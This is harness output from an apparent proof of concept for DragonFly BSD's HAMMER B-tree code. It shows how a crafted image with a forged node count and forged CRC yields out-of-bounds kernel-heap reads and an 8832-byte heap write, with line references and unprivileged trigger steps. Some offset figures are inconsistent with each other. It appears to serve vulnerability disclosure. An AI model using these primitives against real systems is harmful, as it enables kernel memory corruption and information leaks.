DF-0776 / harness_output.txt
==== DF-0776 production (INVARIANTS-OFF) OOB primitive proof ====
forged node->count = 200 (HAMMER_BTREE_LEAF_ELMS = 63)
elms[] array holds 63 elements (4032 bytes); node buffer = 4096 bytes
---- (1) OOB READ: hammer_btree_search_node() + btree_search leaf loop ----
hammer_btree_search_node(key, node) [hammer_btree.c:1390]
[search_node] OOB READ at elms[100] (byte +6400, +2368 past elms[] end)
[search_node] OOB READ at elms[150] (byte +9600, +5568 past elms[] end)
[search_node] OOB READ at elms[175] (byte +11200, +7168 past elms[] end)
[search_node] OOB READ at elms[187] (byte +11968, +7936 past elms[] end)
[search_node] OOB READ at elms[193] (byte +12352, +8320 past elms[] end)
[search_node] OOB READ at elms[196] (byte +12544, +8512 past elms[] end)
btree_search leaf loop [hammer_btree.c:1289-1290]
i = search_node_result = 196
while (i < node->count) { elm = &node->elms[i]; cmp(); ++i; }
=> walked elms[196..199]; first OOB at elms[196]
=> 4 OOB element reads = 256 bytes beyond elms[] end
=> 256 bytes read PAST the 4096-byte node buffer into kernel heap
>>> OOB KERNEL-HEAP READ (info leak / panic on guard page) <<<
sample bytes from first OOB element: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc
(0xCC = adjacent kernel heap; real kernel exposes live slab data)
---- (2) OOB WRITE: hammer_btree_insert() bcopy [hammer_btree.c:819-824] ----
count=200, i(cursor->index)=0
if (i != count) bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm));
=> bcopy of 12800 bytes (200 * 64)
source: elms[0] .. elms[199] (within/just past elms[])
dest : elms[1] .. elms[200]
write ends at elms_base+12864 (elms[] ends at +4032; node buf ends at +4032)
=> 8832 bytes written past elms[] end
=> 8832 bytes written PAST the 4096-byte node buffer into kernel heap
adjacent-heap bytes clobbered by the shift (were 0xCC): aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa
(0xAA = shifted node data now overwriting neighbouring heap)
>>> OOB KERNEL-HEAP WRITE (corruption / controlled-size shift) <<<
==== summary ====
GENERIC (INVARIANTS ON): KKASSERT panic at hammer_btree.c:1278/818 (DoS).
production (INVARIANTS OFF): 256-byte OOB heap read + 8832-byte OOB heap write
trigger: mount crafted HAMMER image (root) + unpriv ls/stat (read) /
unpriv create/mkdir (write). CRC forged so load passes.